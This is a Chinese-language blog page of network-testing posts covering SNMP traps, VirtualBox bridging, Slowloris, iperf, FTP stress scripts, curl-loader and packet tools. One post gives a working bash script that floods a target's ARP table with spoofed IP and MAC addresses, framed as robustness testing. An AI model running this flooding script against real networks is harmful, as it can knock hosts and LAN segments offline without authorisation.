Showing posts with label Testing. Show all posts
Showing posts with label Testing. Show all posts

Wednesday, March 11, 2020

How can I setup a snmptrap receiver server on Ubuntu Server 18.04?

之前有介紹過如何在Ubuntu Server 18.04建立一個SNMP agent讓SNMP Manager可以做get request的動作,請參考此篇: How can I setup a SNMP server on Ubuntu Server 18.04

現在來補足一下如何在Ubuntu Server 18.04實作snmptrap receiver server.

Step1. 安裝snmptrapd
$ sudo apt install snmptrapd
Step2. 配置snmptrpad可以接收agent送過來的event
$ vi /etc/snmp/snmptrapd.conf
authCommunity log,execute,net public
以上,我只開啟IPv4 + snmp version 2c

Step3. 重啟snmptrapd
$ sudo systemctl restart snmptrapd

Step4. 檢查port 162 active (UDP port 162是snmptrap, 161是snmp get,getnext,set)
$ sudo netstat -tupln | grep 162
udp        0      0 0.0.0.0:162             0.0.0.0:*                           2100/snmptrapd 
Step5. 遠端送出一個snmptrap的event
這裡我用CentOS8安裝Net-SNMP的基本工具snmptrap後,送出一個snmptrap example command.
# snmptrap -d -v 2c -c public 192.168.1.151 "" UCD-SNMP-MIB::ucdStart message s "/ disk utilization exceed 90%"
 Step6. 檢查Ubuntu Server 18.04有沒有收到此event?
$ sudo tail -f /var/log/syslog | grep snmptrap
Mar 11 16:07:06 us18 snmptrapd[2100]: 2020-03-11 16:07:06 [UDP: [192.168.1.132]:51067->[192.168.1.151]:162]:#012iso.3.6.1.2.1.1.3.0 = Timeticks: (194731) 0:32:27.31#011iso.3.6.1.6.3.1.1.4.1.0 = OID: iso.3.6.1.4.1.2021.251.1#011iso.3.6.1.4.1.2021.10.1.101 = STRING: "/ disk utilization exceed 90%"
That's all!

如何讓Virtualbox下的虛擬機器透過實際無線網卡取得IP? (透通模式)

先稍微提一下會想這樣做的原因是因為愈來愈多的laptop已經不提供Etherenet port,尤其是一些比較強調輕量級的laptop,所以如果不買USB or USB Type-C轉Ethernet port的話,基本上只能透過wireless interface去連接網路。

對於一般的user來說這沒什麼大不了,所謂人人家裡都有wifi(沒有的話快去買一台Ruckus AP),但就算真的沒有wifi好了,user也可以透過手機開熱點讓laptop來連上網路。

但是對於我們這些常常需要跑VM的engineer來說是有一點困擾,因為預設上就算你設定好虛擬機器的網卡bridge到實際的wireless NIC,你還是拿不到IP address.... (至少我遇到的狀況是這樣),當然這時候可以透過NAT mode讓虛擬機器的網卡可以連上網路,但是有時候透通模式才是我們需要的。

怎麼解決呢?其實非常簡單,就是把你真實wireless NIC的MAC address設定到虛擬機器的MAC address就好了,以下我用VirtualBox在Ubuntu 18.04.4 LTS來演練一下:

Step1. 取得真實wireless NIC的MAC address:


Step2. 開啟VirtualBox -> 選擇虛擬機器 -> Settings -> Network -> Advanced -> MAC address

以上填入Step1列出的MAC address.

Step3. 開機或重新啟動虛擬機器

看到了嗎? 虛擬機器內的網卡已經透過實體的wireless NIC取得IP address並且可以連上Internet.

再來用實體機器來ping一下虛擬機器:


可以開始快樂的使用了,這個小技巧希望對大家有幫助。

Wednesday, March 07, 2012

Low bandwidth HTTP attack: Slowloris

Low bandwidth HTTP attack與傳統的DoS反其道而行,採取的方法是用單一的機器只需少少的頻寬就可以讓HTTP Server癱瘓,其中最著名的就是Slowloris,他的原理簡單的來說是對HTTP Server送不出完全的HTTP request,並且試著讓它保持不被HTTP Server timeout,如此一來HTTP Server可開啟的最大socket數就會滿了,最後導致HTTP Server無法提供服務給其他機器。


請勿以此工具攻擊別人,謝謝。

參考來源:
http://ha.ckers.org/slowloris/
http://news.softpedia.com/news/Web-Servers-in-Danger-from-Low-Bandwidth-HTTP-DoS-114745.shtml
http://en.wikipedia.org/wiki/Slowloris


ARP/MAC address flooding attack

在BT5結合arping測試工具,寫了一個簡單的script來測試目標主機可否hold得住ARP/MAC address flooding attack,script內容如下:
root@bt:~# cat bin/arp_cache.sh
#!/bin/bash

function arp_cache_attack
{
while true;
do
for((i=1;i<=100;i++))
do
mac=$(($RANDOM%10))
number1=$(($RANDOM%254))
number2=$(($RANDOM%254))
number3=$(($RANDOM%254))
number4=$(($RANDOM%254))
arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &
done
sleep 1
kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/null
sync && echo "3" > /proc/sys/vm/drop_caches
echo "re-generate"
done
}

arp_cache_attack

此script每次會產生100筆隨機的假IP與MAC address去嘗試塞滿目標主機(10.10.6.6於以上script中)的arp table。

僅供個人研究,請勿以此script測試或攻擊別人的主機。

Monday, December 05, 2011

PKC or OKC?

今天同事給了一個有關Wireless station roams時的行為討論,主要是在講到底什麼是PKC與OKC,實在是非常精闢的討論,故收藏起來,以供日後參考。


簡單的定義:
Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.

Wednesday, August 24, 2011

Iperf under IPv6 mode

Prepare Iperf version 1.6.3 or later.
Server side:
iperf -s -V

Client side:
iperf -c [IPv6 IPaddress] -V

That's all.

Friday, March 12, 2010

[Shell Script] 長時間測試FTP穩定度

Script:
1 #!/bin/bash
2 while (true)
3 do
4 lftp $1 -u ftp,ftp -e "cd /pub;get file;bye"
5 lftp $1 -u ftp,ftp -e "cd /pub;put file;bye"
6 done
Explain:
Line4: 以ftp account登入到FTP Server,並透過-e的指令將多個指令合併依序執行(切換到pub/抓取file/登出FTP)。
Line5: 以ftp account登入到FTP Server,並透過-e的指令將多個指令合併依序執行(切換到pub/上傳file/登出FTP)。
How to execute:
server1:~/bin # ./ftpcon.sh 192.168.0.1

透過此script可以對DUT不間斷的做FTP下載與上傳的動作,FYI。
當然如果要做更advance的測試,建議用curl-loader應該會更好一點。

Monday, March 08, 2010

Friday, December 11, 2009

TestShell Studio

今天下午參加了派恩科技所舉辦的新世代電子與網通產品自動化測試技術研討會,見識到了QualiSystems所研發的TestShell tools其強調並不需要programming的能力就能完成自動化測試的工作,讓我印象最為深刻的就是TestShell Studio,它能結合多種網通測試設備(IXIA,SmartBits and etc),自訂commands,遠端控制DUT,錄製Web access action等等強大的功能以加快測試的速度!AWESOME!

只要把你腦海中的想法透過滑鼠Drag-&-drop,整個測試流程就完成了!我想這對於網通廠商來說是個非常有力的測試工具,也值得每個網通QA學習。

美中不足的是......
1. 沒有提供Trial version
2. 目前似乎沒有for Linux的版本

Thursday, September 24, 2009

Powerful web application and network load testing tool: curl-loader

找到了一個還蠻強大的web application與network load testing的工具: curl-loader
curl-loader是based on Linux並號稱可以提供類似SpirentAvalanche與IXIA loader的功能(IXIA用過,但是IXIA loader我可是沒用過 XD),同時間透過curl-loader可以產生上萬筆的clients來產生實際的HTTP或是FTP的流量,重點是透過它的configure file,curl-loader會自動的幫你bind IP,真是貼心的設計呀,使用之前最好是依照它的建議更改些Linux預設的參數,當然如果要產生big real flow那就要使用高檔點的機器囉,帽客實際上跑了一下,發現到當產生30K HTTP clients時,會將dual core(Intel C2D E4500)的CPU resource全部吃光光!

建議調整的參數:
ulimit -n 100000
echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse
echo 100000 > /proc/sys/fs/file-max
echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/ethX/rp_filter
echo "109568 109568 109568" > /proc/sys/net/ipv4/tcp_mem

Thursday, April 02, 2009

To compile polygraph network benchmark tools on CentOS5.2

What's polygraph?
"Web Polygraph is a freely available performance testing tool for caching proxies, origin server accelerators, L4/7 switches, content filters, and other Web intermediaries. Polygraph's features include:
high-performance HTTP clients and servers
realistic HTTP and SSL traffic generation
HTTP Basic, NTLM, and Negotiate proxy authentication
LDAP-friendly generation of user credentials
flexible content simulation
ready-to-use standard workloads for benchmarking
powerful domain-specific configuration language
portable open-source implementation
friendly commercial support "


http://www.web-polygraph.org/

在CentOS5.2下編譯polygraph v3.1.5時會發生SslWrap.cc的問題,解決的方法是:
http://www.linuxquestions.org/questions/linux-server-73/problem-compiling-web-polygraph-689766/

./configure;make;make install 好搞定了! Enjoy it!

Tuesday, January 20, 2009

iptstate tools

利用iptstate tools你可以觀察到netfilter中每一筆connection的狀況, 真是隻好工具! 使用時請先記得將ip_conntrack kernel module 掛載起來, 否則將無任何資料顯示出來.

# modprobe ip_conntrack

http://phildev.net/iptstate/

Thursday, August 21, 2008

Colasoft Packet Builder

帽客很少介紹在Windows上的軟體,不過我覺得從事網通業的各位朋友們如果使用了這套軟體,對於網路行為的除錯應該是有些幫助,Colasoft Packet Builder是一套在Windows作業系統上的免費軟體,透過它我們可以製造出想要的TCP, UDP, IP, ARP的封包,好用的是我發現到它還load一些capture packets的紀錄檔(sniffer/wireshark),修改過後再產生packets,感謝D-Link大大Dennis的介紹~

Colasoft Packet Builder

Thursday, April 24, 2008

Tcpreplay

Tcpreplay可說是從事網通研發人員的一個好工具,它可以將libpcap format的封包記錄檔,重新reply出來,以利除錯或是regression test,不論是In-line mode或是Routing mode的device,它都有辦法可以將封包pass through device,除了replay,它還可透過tcprewrite修改封包的內容,這麼強大的工具您怎麼可以錯過呢?

Tcpreplay website: http://tcpreplay.synfin.net/trac/